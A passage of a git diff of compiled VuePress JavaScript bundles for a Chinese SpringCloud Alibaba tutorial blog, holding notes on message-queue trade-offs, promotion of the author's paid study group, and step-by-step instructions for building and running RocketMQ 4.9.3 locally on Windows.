"),t("p",[t("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-17-006","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-17-006.png",loading:"lazy"}})]),a._v(" "),t("p",[a._v("将流量发送到MQ中后,下游系统根据自身的处理能力进行消费即可。保证了下游系统的高可用性。")]),a._v(" "),t("h2",{attrs:{id:"引入mq后的注意事项"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#引入mq后的注意事项"}},[a._v("#")]),a._v(" 引入MQ后的注意事项")]),a._v(" "),t("p",[a._v("引入MQ最大的优点就是异步解耦和流量削峰,但是引入MQ后也有很多需要注意的事项和问题,主要包括:系统的整体可用性降低、系统的复杂度变高、引入了消息一致性的问题。")]),a._v(" "),t("h3",{attrs:{id:"系统的整体可用性降低"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#系统的整体可用性降低"}},[a._v("#")]),a._v(" 系统的整体可用性降低")]),a._v(" "),t("p",[a._v("在对一个系统进行架构设计时,引入的外部依赖越多,系统的稳定性和可用性就会降低。系统中引入了MQ,部分业务就会出现强依赖MQ的现象,此时,如果MQ宕机,则部分业务就会变得不可用。所以,引入MQ时,我们就要考虑如何实现MQ的高可用。")]),a._v(" "),t("h3",{attrs:{id:"系统的复杂度变高"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#系统的复杂度变高"}},[a._v("#")]),a._v(" 系统的复杂度变高")]),a._v(" "),t("p",[a._v("引入MQ后,会使之前的同步接口调用变成通过MQ的异步调用,在实际的开发过程中,异步调用会比同步调用复杂的多。并且异步调用出现问题后,重现问题,定位问题和解决问题都会比同步调用复杂的多。")]),a._v(" "),t("p",[a._v("并且引入MQ后,还要考虑如何保证消息的顺序等问题。")]),a._v(" "),t("h3",{attrs:{id:"消息一致性问题"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#消息一致性问题"}},[a._v("#")]),a._v(" 消息一致性问题")]),a._v(" "),t("p",[a._v("引入MQ后,不得不考虑的一个问题就是消息的一致性问题。这期间就要考虑如何保证消息不丢失,消息幂等和消息数据处理的幂等性问题。")]),a._v(" "),t("h2",{attrs:{id:"mq选型对比"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#mq选型对比"}},[a._v("#")]),a._v(" MQ选型对比")]),a._v(" "),t("p",[a._v("目前,在行业内使用的比较多的MQ包含RabbitMQ、Kafka和RocketMQ。这里,我将三者的对比简单整理了个表格,如下所示。")]),a._v(" "),t("table",[t("thead",[t("tr",[t("th",[a._v("消息中间件(MQ)")]),a._v(" "),t("th",[a._v("优点")]),a._v(" "),t("th",[a._v("缺点")]),a._v(" "),t("th",[a._v("使用场景")])])]),a._v(" "),t("tbody",[t("tr",[t("td",[a._v("RabbitMQ")]),a._v(" "),t("td",[a._v("功能全面、消息的可靠性比较高")]),a._v(" "),t("td",[a._v("吞吐量低,消息大量积累会影响性能,使用的开发语言是erlang,不好定制功能。")]),a._v(" "),t("td",[a._v("规模不大的场景")])]),a._v(" "),t("tr",[t("td",[a._v("Kafka")]),a._v(" "),t("td",[a._v("吞吐量最高,性能最好,集群模式下高可用")]),a._v(" "),t("td",[a._v("功能上比较单一,会丢失部分数据")]),a._v(" "),t("td",[a._v("日志分析,大数据场景")])]),a._v(" "),t("tr",[t("td",[a._v("RocketMQ")]),a._v(" "),t("td",[a._v("吞吐量高,性能高,可用性高,功能全面。使用Java语言开发,容易定制功能。")]),a._v(" "),t("td",[a._v("开源版不如阿里云上版,文档比较简单。")]),a._v(" "),t("td",[a._v("几乎支持所有场景,包含大数据场景和业务场景。")])])])]),a._v(" "),t("p",[t("strong",[a._v("好了,今天我们就到儿吧,限于篇幅,文中并未给出完整的案例源代码,想要完整源代码的小伙伴可加入【冰河技术】知识星球获取源码。也可以加我微信:hacker_binghe,一起交流技术。")])]),a._v(" "),t("p",[t("strong",[a._v("另外,一不小心就写了18章了,小伙伴们你们再不上车就真的跟不上了!!!")])]),a._v(" "),t("h2",{attrs:{id:"关于星球"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#关于星球"}},[a._v("#")]),a._v(" 关于星球")]),a._v(" "),t("p",[a._v("最近,冰河创建了【冰河技术】知识星球,《"),t("a",{attrs:{href:"https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg4MjU0OTM1OA==&action=getalbum&album_id=2337104419664084992&scene=173&from_msgid=2247500214&from_itemidx=1&count=3&nolastread=1#wechat_redirect",target:"_blank",rel:"noopener noreferrer"}},[a._v("SpringCloud Alibaba实战"),t("OutboundLink")],1),a._v("》专栏的源码获取方式会放到知识星球中,同时在微信上会创建专门的知识星球群,冰河会在知识星球上和星球群里解答球友的提问。")]),a._v(" "),t("p",[a._v("今天,【冰河技术】知识星球再开放200张优惠券,还没上车的小伙伴赶紧啦,再不上车就跟不上啦!!")]),a._v(" "),t("h3",{attrs:{id:"星球提供的服务"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#星球提供的服务"}},[a._v("#")]),a._v(" 星球提供的服务")]),a._v(" "),t("p",[a._v("冰河整理了星球提供的一些服务,如下所示。")]),a._v(" "),t("p",[a._v("加入星球,你将获得:")]),a._v(" "),t("p",[a._v("1.学习SpringCloud Alibaba实战项目—从零开发微服务项目")]),a._v(" "),t("p",[a._v("2.学习高并发、大流量业务场景的解决方案,体验大厂真正的高并发、大流量的业务场景")]),a._v(" "),t("p",[a._v("3.学习进大厂必备技能:性能调优、并发编程、分布式、微服务、框架源码、中间件开发、项目实战")]),a._v(" "),t("p",[a._v("4.提供站点 https://binghe001.github.io 所有学习内容的指导、帮助")]),a._v(" "),t("p",[a._v("5.GitHub:https://github.com/binghe001/BingheGuide - 非常有价值的技术资料仓库,包括冰河所有的博客开放案例代码")]),a._v(" "),t("p",[a._v("6.可以发送你的简历到我的邮箱,提供简历批阅服务")]),a._v(" "),t("p",[a._v("7.提供技术问题、系统架构、学习成长、晋升答辩等各项内容的回答")]),a._v(" "),t("p",[a._v("8.定期的整理和分享出各类专属星球的技术小册、电子书、编程视频、PDF文件")]),a._v(" "),t("p",[a._v("9.定期组织技术直播分享,传道、授业、解惑,指导阶段瓶颈突破技巧")]),a._v(" "),t("h3",{attrs:{id:"星球门票价格"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#星球门票价格"}},[a._v("#")]),a._v(" 星球门票价格")]),a._v(" "),t("p",[a._v("星球目前的门票价格50元,随着每次加入新实战项目和分享硬核技术上调入场价格。")]),a._v(" "),t("p",[t("strong",[a._v("特别提醒:")]),a._v(" 苹果用户进圈或续费,请加微信「hacker_binghe」扫二维码,或者去公众号「冰河技术」回复「星球」扫二维码进圈。")]),a._v(" "),t("p",[a._v("最后,小伙伴们可以扫描或者长按下图中的二维码加入星球,也可以在 "),t("strong",[a._v("冰河技术")]),a._v(" 公众号回复 “ "),t("strong",[a._v("星球")]),a._v(" ” ,领取入场优惠券。")]),a._v(" "),t("p",[t("img",{staticClass:"lazy",attrs:{alt:"sa-2022-04-21-007","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-04-28-008.png",loading:"lazy"}})]),a._v(" "),t("p",[t("strong",[a._v("好了,今天就到这儿吧,我是冰河,我们下期见~~")])]),a._v(" "),t("h2",{attrs:{id:"写在最后"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#写在最后"}},[a._v("#")]),a._v(" 写在最后")]),a._v(" "),t("blockquote",[t("p",[a._v("如果你觉得冰河写的还不错,请微信搜索并关注「 "),t("strong",[a._v("冰河技术")]),a._v(" 」微信公众号,跟冰河学习高并发、分布式、微服务、大数据、互联网和云原生技术,「 "),t("strong",[a._v("冰河技术")]),a._v(" 」微信公众号更新了大量技术专题,每一篇技术文章干货满满!不少读者已经通过阅读「 "),t("strong",[a._v("冰河技术")]),a._v(" 」微信公众号文章,吊打面试官,成功跳槽到大厂;也有不少读者实现了技术上的飞跃,成为公司的技术骨干!如果你也想像他们一样提升自己的能力,实现技术能力的飞跃,进大厂,升职加薪,那就关注「 "),t("strong",[a._v("冰河技术")]),a._v(" 」微信公众号吧,每天更新超硬核技术干货,让你对如何提升技术能力不再迷茫!")])]),a._v(" "),t("p",[t("img",{staticClass:"lazy",attrs:{alt:"","data-src":"https://img-blog.csdnimg.cn/20200906013715889.png",loading:"lazy"}})])])}),[],!1,null,null,null);t.default=v.exports}}]); \ No newline at end of file diff --git a/assets/js/cg-331.js b/assets/js/cg-331.js index 81948fd31c3e5f0e4591ebcb1e7d789d05cafeaf..0e5c7e3e3124701a8f8e097f7d31bfe2e7cd9c0f 100644 --- a/assets/js/cg-331.js +++ b/assets/js/cg-331.js @@ -1 +1 @@ -(window.webpackJsonp=window.webpackJsonp||[]).push([[331],{620:function(s,a,t){"use strict";t.r(a);var n=t(7),e=Object(n.a)({},(function(){var s=this,a=s._self._c;return a("ContentSlotsDistributor",{attrs:{"slot-key":s.$parent.slotKey}},[a("h1",{attrs:{id:"sa实战-·《springcloud-alibaba实战》第19章-消息服务-项目整合rocketmq"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#sa实战-·《springcloud-alibaba实战》第19章-消息服务-项目整合rocketmq"}},[s._v("#")]),s._v(" SA实战 ·《SpringCloud Alibaba实战》第19章-消息服务:项目整合RocketMQ")]),s._v(" "),a("p",[a("strong",[s._v("大家好,我是冰河~~")])]),s._v(" "),a("blockquote",[a("p",[s._v("一不小心《"),a("a",{attrs:{href:"https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg4MjU0OTM1OA==&action=getalbum&album_id=2337104419664084992&scene=173&from_msgid=2247500408&from_itemidx=1&count=3&nolastread=1#wechat_redirect",target:"_blank",rel:"noopener noreferrer"}},[s._v("SpringCloud Alibaba实战"),a("OutboundLink")],1),s._v("》专栏都更新到第19章了,再不上车就跟不上了,小伙伴们快跟上啊!")]),s._v(" "),a("p",[s._v("注意:本项目完整源码加入 "),a("strong",[a("a",{attrs:{href:"https://public.zsxq.com/groups/48848484411888.html",target:"_blank",rel:"noopener noreferrer"}},[s._v("冰河技术"),a("OutboundLink")],1)]),s._v(" 知识星球即可获取,文末有入场方式。")])]),s._v(" "),a("p",[s._v("在《"),a("a",{attrs:{href:"https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg4MjU0OTM1OA==&action=getalbum&album_id=2337104419664084992&scene=173&from_msgid=2247500408&from_itemidx=1&count=3&nolastread=1#wechat_redirect",target:"_blank",rel:"noopener noreferrer"}},[s._v("SpringCloud Alibaba实战"),a("OutboundLink")],1),s._v("》专栏前面的文章中,我们实现了用户微服务、商品微服务和订单微服务之间的远程调用,并且实现了服务调用的负载均衡。也基于阿里开源的Sentinel实现了服务的限流与容错,并详细介绍了Sentinel的核心技术与配置规则。简单介绍了服务网关,并对SpringCloud Gateway的核心架构进行了简要说明,也在项目中整合了SpringCloud Gateway网关实现了通过网关访问后端微服务,同时,也基于SpringCloud Gateway整合Sentinel实现了网关的限流功能,详细介绍了SpringCloud Gateway网关的核心技术。在链路追踪章节,我们开始简单介绍了分布式链路追踪技术与解决方案,随后在项目中整合Sleuth实现了链路追踪,并使用Sleuth整合ZipKin实现了分布式链路追踪的可视化 。")]),s._v(" "),a("p",[s._v("在消息服务章节,我们介绍了MQ的使用场景,引入MQ后的注意事项以及MQ的选型对比。接下来,我们就在项目中整合RocketMQ。")]),s._v(" "),a("h2",{attrs:{id:"本章总览"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#本章总览"}},[s._v("#")]),s._v(" 本章总览")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-18-019","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-18-019.png",loading:"lazy"}})]),s._v(" "),a("h2",{attrs:{id:"rocketmq环境准备"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#rocketmq环境准备"}},[s._v("#")]),s._v(" RocketMQ环境准备")]),s._v(" "),a("p",[s._v("RocketMQ是阿里开源的消息中间件,目前是Apache下的顶级项目。正式在项目中接入RocketMQ之前,我们需要搭建RocketMQ的环境。这里呢,我把搭建RocketMQ的基础环境分为两个部分:搭建RocketMQ环境和搭建RocketMQ控制台。")]),s._v(" "),a("p",[a("strong",[s._v("注意:冰河这里都是先下载RocketMQ的源码和RocketMQ控制台的源码,然后对源码进行编译后,再搭建的。目的也是让小伙伴们能够跟着冰河实现手动编译RocketMQ的源码,另外,编译RocketMQ源码和控制台源码需要JDK1.8+Maven。")])]),s._v(" "),a("h3",{attrs:{id:"源码编译安装rocketmq"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#源码编译安装rocketmq"}},[s._v("#")]),s._v(" 源码编译安装RocketMQ")]),s._v(" "),a("p",[s._v("(1)到链接"),a("a",{attrs:{href:"https://github.com/apache/rocketmq/releases/tag/rocketmq-all-4.9.3",target:"_blank",rel:"noopener noreferrer"}},[s._v("https://github.com/apache/rocketmq/releases/tag/rocketmq-all-4.9.3"),a("OutboundLink")],1),s._v("下载RocketMQ 4.9.3版本的源码。下载并解压后的源码如下所示。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-18-001","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-18-001.png",loading:"lazy"}})]),s._v(" "),a("p",[s._v("(2)打开cmd命令行,进入RocketMQ的解压目录,我这里是E:\\Application\\RocketMQ\\rocketmq-rocketmq-all-4.9.3目录,然后在cmd命令行输入如下命令开始编译打包。")]),s._v(" "),a("div",{staticClass:"language-bash line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-bash"}},[a("code",[s._v("mvn clean "),a("span",{pre:!0,attrs:{class:"token function"}},[s._v("install")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token parameter variable"}},[s._v("-Dmaven.test.skip")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v("true -Prelease-all\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br")])]),a("p",[s._v("编译过程如下所示。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-18-002","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-18-002.png",loading:"lazy"}})]),s._v(" "),a("p",[s._v("编译打包成功后,如下图所示。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-18-003","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-18-003.png",loading:"lazy"}})]),s._v(" "),a("p",[s._v("(3)编译成功后,会在RocketMQ解压目录下的distribution目录下的target目录下生成RocketMQ的安装包,在我电脑上的目录就是:E:\\Application\\RocketMQ\\rocketmq-rocketmq-all-4.9.3\\distribution\\target。如下所示。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-18-004","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-18-004.png",loading:"lazy"}})]),s._v(" "),a("p",[s._v("这样,我们就自己下载RocketMQ的源码,并打包成功了。")]),s._v(" "),a("p",[a("strong",[s._v("注意:这里,为了方便,我还是将RocketMQ部署到我本机Windows操作系统上,小伙伴们也可以将之前的Nacos、Sentinel和这次的RocketMQ都部署在Linux操作系统上,部署方式几乎与在Windows操作系统一样,这里,冰河就不再赘述了。")])]),s._v(" "),a("p",[s._v("(4)将编译出的安装包,解压到电脑的某个目录下,例如我解压后的目录为:E:\\Application\\microservices\\RocketMQ\\rocketmq-4.9.3。")]),s._v(" "),a("p",[s._v("(5)在RocketMQ的解压目录下的conf目录下修改broker.conf文件,修改后的文件内容如下所示。")]),s._v(" "),a("div",{staticClass:"language-bash line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-bash"}},[a("code",[s._v("brokerClusterName "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" DefaultCluster\nbrokerName "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" broker-a\nbrokerId "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("0")]),s._v("\ndeleteWhen "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" 04\nfileReservedTime "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("48")]),s._v("\nbrokerRole "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" ASYNC_MASTER\nflushDiskType "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" ASYNC_FLUSH\n\n"),a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("# 自动创建Topic")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token assign-left variable"}},[s._v("autoCreateTopicEnable")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v("true\n"),a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("# nameServ地址")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token assign-left variable"}},[s._v("namesrvAddr")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("127.0")]),s._v(".0.1:9876\n"),a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("# 存储路径")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token assign-left variable"}},[s._v("storePathRootDir")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v("E:/RocketMQ/data/rocketmq/dataDir\n"),a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("# commitLog路径")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token assign-left variable"}},[s._v("storePathCommitLog")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v("E:/RocketMQ/data/rocketmq/dataDir/commitlog\n"),a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("# 消息队列存储路径")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token assign-left variable"}},[s._v("storePathConsumeQueue")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v("E:/RocketMQ/data/rocketmq/dataDir/consumequeue\n"),a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("# 消息索引存储路径")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token assign-left variable"}},[s._v("storePathIndex")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v("E:/RocketMQ/data/rocketmq/dataDir/index\n"),a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("# checkpoint文件路径")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token assign-left variable"}},[s._v("storeCheckpoint")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v("E:/RocketMQ/data/rocketmq/dataDir/checkpoint\n"),a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("# abort文件存储路径")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token assign-left variable"}},[s._v("abortFile")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v("E:/RocketMQ/data/rocketmq/dataDir/abort\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br"),a("span",{staticClass:"line-number"},[s._v("4")]),a("br"),a("span",{staticClass:"line-number"},[s._v("5")]),a("br"),a("span",{staticClass:"line-number"},[s._v("6")]),a("br"),a("span",{staticClass:"line-number"},[s._v("7")]),a("br"),a("span",{staticClass:"line-number"},[s._v("8")]),a("br"),a("span",{staticClass:"line-number"},[s._v("9")]),a("br"),a("span",{staticClass:"line-number"},[s._v("10")]),a("br"),a("span",{staticClass:"line-number"},[s._v("11")]),a("br"),a("span",{staticClass:"line-number"},[s._v("12")]),a("br"),a("span",{staticClass:"line-number"},[s._v("13")]),a("br"),a("span",{staticClass:"line-number"},[s._v("14")]),a("br"),a("span",{staticClass:"line-number"},[s._v("15")]),a("br"),a("span",{staticClass:"line-number"},[s._v("16")]),a("br"),a("span",{staticClass:"line-number"},[s._v("17")]),a("br"),a("span",{staticClass:"line-number"},[s._v("18")]),a("br"),a("span",{staticClass:"line-number"},[s._v("19")]),a("br"),a("span",{staticClass:"line-number"},[s._v("20")]),a("br"),a("span",{staticClass:"line-number"},[s._v("21")]),a("br"),a("span",{staticClass:"line-number"},[s._v("22")]),a("br"),a("span",{staticClass:"line-number"},[s._v("23")]),a("br"),a("span",{staticClass:"line-number"},[s._v("24")]),a("br")])]),a("p",[s._v("小伙伴们可以根据自己的实际情况,自行修改上述文件中配置的目录地址。")]),s._v(" "),a("p",[s._v("(6)非常重要的一步,在启动RocketMQ之前,需要配置下ROCKETMQ_HOME环境变量,否则在启动RocketMQ的时候,会提示如下错误信息。")]),s._v(" "),a("div",{staticClass:"language-bash line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-bash"}},[a("code",[s._v("E:"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("\\")]),s._v("Application"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("\\")]),s._v("microservices"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("\\")]),s._v("RocketMQ"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("\\")]),s._v("rocketmq-4.9.3"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("\\")]),s._v("bin"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v(">")]),s._v("mqnamesrv.cmd\nPlease "),a("span",{pre:!0,attrs:{class:"token builtin class-name"}},[s._v("set")]),s._v(" the ROCKETMQ_HOME variable "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("in")]),s._v(" your environment"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("!")]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br")])]),a("p",[a("strong",[s._v("提示:设置ROCKETMQ_HOME环境变量。")])]),s._v(" "),a("p",[s._v("接下来,就在系统环境变量中,设置下ROCKETMQ_HOME的环境变量,如下所示。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-18-005","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-18-005.png",loading:"lazy"}})]),s._v(" "),a("p",[s._v("(7)配置完RocketMQ的环境变量后,打开cmd命令行,进入RocketMQ的bin目录,例如,我电脑的目录是:E:\\Application\\microservices\\RocketMQ\\rocketmq-4.9.3\\bin。执行"),a("code",[s._v("mqnamesrv.cmd")]),s._v("命令启动NameServer,如下所示。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-18-006","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-18-006.png",loading:"lazy"}})]),s._v(" "),a("p",[s._v("打印出如下信息,说明RocketMQ的NameServer启动成功了。")]),s._v(" "),a("div",{staticClass:"language-bash line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-bash"}},[a("code",[s._v("The Name Server boot success. "),a("span",{pre:!0,attrs:{class:"token assign-left variable"}},[s._v("serializeType")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v("JSON\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br")])]),a("p",[s._v("(8)重新打开一个cmd命令行,进入RocketMQ的bin目录,输入"),a("code",[s._v("mqbroker.cmd -n localhost:9876")]),s._v("命令启动RocketMQ的Broker服务,如下所示。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-18-007","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-18-007.png",loading:"lazy"}})]),s._v(" "),a("p",[s._v("打印出如下信息,说明RocketMQ的Broker服务启动成功了。")]),s._v(" "),a("div",{staticClass:"language-bash line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-bash"}},[a("code",[s._v("boot success. "),a("span",{pre:!0,attrs:{class:"token assign-left variable"}},[s._v("serializeType")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v("JSON and name server is localhost:9876\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br")])]),a("h3",{attrs:{id:"测试rocketmq环境"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#测试rocketmq环境"}},[s._v("#")]),s._v(" 测试RocketMQ环境")]),s._v(" "),a("p",[s._v("RocketMQ内置了大量的测试案例,并且这些测试案例可以通过RocketMQ的bin目录下的tools.cmd命令进行测试。接下来,我们就使用RocketMQ自带的tools.cmd命令测试RocketMQ的环境。")]),s._v(" "),a("p",[s._v("(1)启动生产者程序向RocketMQ发送消息。")]),s._v(" "),a("p",[s._v("重新打开cmd命令行,进入RocketMQ的bin目录,在命令行输入如下命令调用RocketMQ自带的生产者程序向RocketMQ发送消息。")]),s._v(" "),a("div",{staticClass:"language-bash line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-bash"}},[a("code",[a("span",{pre:!0,attrs:{class:"token builtin class-name"}},[s._v("set")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token assign-left variable"}},[s._v("NAMESRV_ADDR")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v("localhost:9876\ntools.cmd org.apache.rocketmq.example.quickstart.Producer\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br")])]),a("p",[s._v("可以看到,执行完上述两条命令后,生产者程序开始向RocketMQ发送消息。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-18-008","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-18-008.png",loading:"lazy"}})]),s._v(" "),a("p",[s._v("(2)启动消费者程序消费RocketMQ中的消息。")]),s._v(" "),a("p",[s._v("重新打开cmd命令行,进入RocketMQ的bin目录,在命令行输入如下命令调用RocketMQ自带的消费者程序消费RocketMQ中的消息。")]),s._v(" "),a("div",{staticClass:"language-bash line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-bash"}},[a("code",[a("span",{pre:!0,attrs:{class:"token builtin class-name"}},[s._v("set")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token assign-left variable"}},[s._v("NAMESRV_ADDR")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v("localhost:9876\ntools.cmd org.apache.rocketmq.example.quickstart.Consumer\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br")])]),a("p",[s._v("可以看到,执行完上述两条命令后,消费者程序开始消费RocketMQ中的消息。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-18-009","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-18-009.png",loading:"lazy"}})]),s._v(" "),a("p",[s._v("说明我们使用源码编译搭建RocketMQ环境成功了。")]),s._v(" "),a("h3",{attrs:{id:"源码编译rocketmq控制台"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#源码编译rocketmq控制台"}},[s._v("#")]),s._v(" 源码编译RocketMQ控制台")]),s._v(" "),a("p",[s._v("这里需要注意的是:RocketMQ控制台本质上是一个SpringBoot程序,启动后默认监听的端口是8080。RocketMQ的新版控制台已经从RocketMQ的rocketmq-externals项目中分离出来了。也就是说,新版的RocketMQ控制台已经从https://github.com/apache/rocketmq-externals链接所示的项目中分离出来,新版控制台的链接地址为:https://github.com/apache/rocketmq-dashboard。")]),s._v(" "),a("p",[s._v("(1)从链接https://github.com/apache/rocketmq-dashboard下载新版的RocketMQ控制台源码。下载后解压。")]),s._v(" "),a("p",[s._v("(2)进入到RocketMQ控制台源码解压目录的src/main/resources目录下,编辑application.yml文件,修改"),a("code",[s._v("namesrvAddrs")]),s._v("地址,去掉多余的namesrvAddrs地址。")]),s._v(" "),a("p",[s._v("application.yml文件中原来的配置如下所示。")]),s._v(" "),a("div",{staticClass:"language-yaml line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-yaml"}},[a("code",[a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("rocketmq")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("config")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("# if this value is empty,use env value rocketmq.config.namesrvAddr NAMESRV_ADDR | now, default localhost:9876")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("# configure multiple namesrv addresses to manage multiple different clusters")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("namesrvAddrs")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("-")]),s._v(" 127.0.0.1"),a("span",{pre:!0,attrs:{class:"token 